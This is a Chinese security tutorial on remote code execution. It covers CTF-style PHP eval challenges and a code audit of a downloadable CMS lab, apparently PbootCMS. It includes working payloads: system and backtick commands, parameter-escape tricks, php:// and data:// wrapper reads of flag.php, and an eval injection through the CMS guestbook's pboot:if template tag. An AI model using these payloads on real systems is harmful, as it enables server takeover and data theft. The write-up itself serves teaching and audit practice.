当前位置: 首页 > news >正文

解密RCE漏洞:原理剖析、复现与代码审计实战

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

  1. 概念

    1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
  2. 利用函数

    1. php
      1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
    2. python
      1. eval exec subprocess os.system commands
    3. java
      1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
  3. 复现

    1. 基本使用
      1. 源码

         <?php
        error_reporting(0);          //排除错误
        if(isset($_GET['c'])){       //get传参不为空,执行if语句$c = $_GET['c'];         //get传参,赋值给变量cif(!preg_match("/flag/i", $c)){   //过滤flageval($c);            //执行c表达式}}else{highlight_file(__FILE__);
        }payload:
        ?c=system('tac fla*.php');
        ?c=echo shell_exec('tac fla*');
        ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
        
    2. 参数逃逸
      1. 源码

        <?php
        error_reporting(0);
        if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
        }
        ?>  
        payload:
        ?c=eval($_GET[1]);&1=phpinfo();
        
    3. 伪协议
      1. 源码同上

        payload:
        ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>payload2
        get:?c=include$_GET[a]?>&a=php://input
        post:<?php system('tac flag.php');?>payload3
        ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
        

代码审计

  1. 靶场搭建
    1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
    2. 下载靶场,在config.php文件中填入授权码,安装靶场
  2. 流程
    1. 导入文件,搜索常用的命令执行函数eval

    2. 看到eval的来源变量matches

    3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

    4. 全局搜索parserSiteLabel函数,看到parserCommom函数

    5. 全局搜索parserCommom函数,到达AboutController.php

      1. 名称与网站对应关系
    6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

    7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

      1. 代码

         public function parserIfLabel($content){$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在elseswitch ($flag) {case 'if': // 条件为真if (isset($matches2[1])) {$out_html = $matches2[1];}break;case 'else': // 条件为假if (isset($matches2[2])) {$out_html = $matches2[2];}break;}} elseif ($flag == 'if') {$out_html = $matches[2][$i];}// 无限极嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);$out_html = $this->parserIfLabel($out_html);}// 执行替换$content = str_replace($matches[0][$i], $out_html, $content);}}
        payload:
        留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2:
        留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
        //记得要在后台把状态打开,不然无回显,头疼!!!!
        

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Android.mk(TODO)
  • 秋招复习笔记——八股文部分:网络IP
  • 09.XSS跨站脚本攻击(超详细!!!)
  • 充电不再难,高质量充电体系‘智’领绿色出行新时代
  • Mathtype安装教程/常见使用问题及快捷键大全
  • linux 011 注释13:缺页中断,新设计艺术团队第二版,第四章 4-39 至 4-
  • 大学生实验报告模板分享
  • java关于前端传布尔值后端接收一直为false问题
  • 公交车辆4G无线视频监控系统应用解决方案(视频监控统一接入平台)
  • 部署伪分布式 Hadoop集群
  • 【算法 03】雇佣问题
  • LLM与NLP
  • 【leetcode详解】正方形中的最多点数【中等】(C++思路精析)
  • windows 10下,修改ubuntu的密码
  • 【LeetCode】54. 螺旋矩阵
  • 2018一半小结一波
  • ES6, React, Redux, Webpack写的一个爬 GitHub 的网页
  • iOS小技巧之UIImagePickerController实现头像选择
  • JAVA_NIO系列——Channel和Buffer详解
  • JavaScript实现分页效果
  • JS基础之数据类型、对象、原型、原型链、继承
  • js正则,这点儿就够用了
  • Spring Boot MyBatis配置多种数据库
  • Spring技术内幕笔记(2):Spring MVC 与 Web
  • vue2.0一起在懵逼的海洋里越陷越深(四)
  • vue中实现单选
  • windows-nginx-https-本地配置
  • 利用DataURL技术在网页上显示图片
  • 巧用 TypeScript (一)
  • 容器服务kubernetes弹性伸缩高级用法
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • # 透过事物看本质的能力怎么培养?
  • #Linux(权限管理)
  • (1综述)从零开始的嵌入式图像图像处理(PI+QT+OpenCV)实战演练
  • (Matlab)遗传算法优化的BP神经网络实现回归预测
  • (超详细)语音信号处理之特征提取
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)c#+winform实现远程开机(广域网可用)
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (转) 深度模型优化性能 调参
  • (转)visual stdio 书签功能介绍
  • (转载)Linux网络编程入门
  • .net 7 上传文件踩坑
  • .net core 管理用户机密
  • .net的socket示例
  • .NET设计模式(8):适配器模式(Adapter Pattern)
  • [240607] Jina AI 发布多模态嵌入模型 | PHP 曝新漏洞 | TypeScript 5.5 RC 发布公告
  • [ai笔记9] openAI Sora技术文档引用文献汇总
  • [BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析
  • [bzoj1901]: Zju2112 Dynamic Rankings
  • [C++]使用yolov10的onnx模型结合onnxruntime和bytetrack实现目标追踪
  • [C++数据结构](31)哈夫曼树,哈夫曼编码与解码
  • [CC2642r1] ble5 stacks 蓝牙协议栈 介绍和理解
  • [c语言]小课堂 day2